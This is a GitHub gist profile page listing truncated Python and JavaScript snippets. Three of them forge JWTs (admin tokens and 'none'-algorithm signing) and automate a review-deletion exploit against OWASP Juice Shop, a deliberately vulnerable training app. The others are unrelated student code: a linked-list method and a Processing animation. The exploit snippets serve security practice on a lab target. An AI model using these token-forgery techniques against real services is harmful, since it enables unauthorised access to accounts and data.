Skip to content

Instantly share code, notes, and snippets.

View sophieKaelin's full-sized avatar
🍹
HolidayMode == True

Sophie Kaelin sophieKaelin

🍹
HolidayMode == True
View GitHub Profile
@sophieKaelin
sophieKaelin / generateAdminToken.py
Created April 16, 2021 02:01
Script to generate admin token for exploiting OWASP JuiceShop Web App.
import base64, json, binascii
# Decode the token and extract the header if correct format
jwt = input("Please enter your JWT Token: ")
try:
jwtVals = jwt.split(".")
payload = (base64.b64decode(jwtVals[1]+'=')).decode("utf-8")
header = (base64.b64decode(jwtVals[0]+'=')).decode("utf-8")
except (IndexError, binascii.Error) as err:
print("\n\n*** Incorrect token format, please enter a valid JWT Token ***\n\n")
@sophieKaelin
sophieKaelin / noneSignJWT.py
Last active April 16, 2021 01:48
Python Script that inputs a JWT and outputs that JWT with "None" signing
import base64, json, binascii
# Decode the token and extract the header if correct format
jwt = input("Please enter your JWT Token: ")
try:
jwtVals = jwt.split(".")
payload = jwtVals[1]
header = (base64.b64decode(jwtVals[0]+'=')).decode("utf-8")
except (IndexError, binascii.Error) as err:
print("\n\n*** Incorrect token format, please enter a valid JWT Token ***\n\n")
@sophieKaelin
sophieKaelin / HTTP-Batch-Request.js
Created April 15, 2021 11:47
Script that automates the "Delete Reviews" exploit in OWASP JuiceShop app.
//req = type of HTTP request (POST, GET, DELETE etc.)
//theUrl = path to make the request to
//JWT = JWT Token to be injected into token cookie and authorization header
function httpReq(req, theUrl, JWT){
var xmlHttp = new XMLHttpRequest();
xmlHttp.open(req, theUrl, false );
xmlHttp.setRequestHeader("Authorization", "Bearer "+JWT);
xmlHttp.withCredentials = true;
xmlHttp.send( null );
return xmlHttp.responseText;
@sophieKaelin
sophieKaelin / create sublist from linked list
Last active October 21, 2020 23:12
COMP1010 Week 11 Recursive Data Structure - SubList Method
public static Node subList(Node start, int idx1, int idx2) {
int length = getLength(start, 0); //how many items
if(!isValidIdx(length, idx1, idx2) || start == null) {
return null;
}
Node temp = get(new Node(start.data, start.next), idx1); //get item at index
return subList(temp, (idx2-idx1+1));
}
/*
* CLUB PENGUIN DANCEFLOOR 2.0
* Use the arrow keys to move your penguin around the floor
* Continuously Press Space Bar to activate the Dance Floor
* Click on a cell to move your penguin to that cell
* Enter the correct password to start a penguin party
*/
//https://www.youtube.com/watch?v=YKMB2HtJZEo
void setup() {
size(800, 800);
stroke(255);
strokeWeight(3);
drawDanceFloorPlease();
}
void draw() {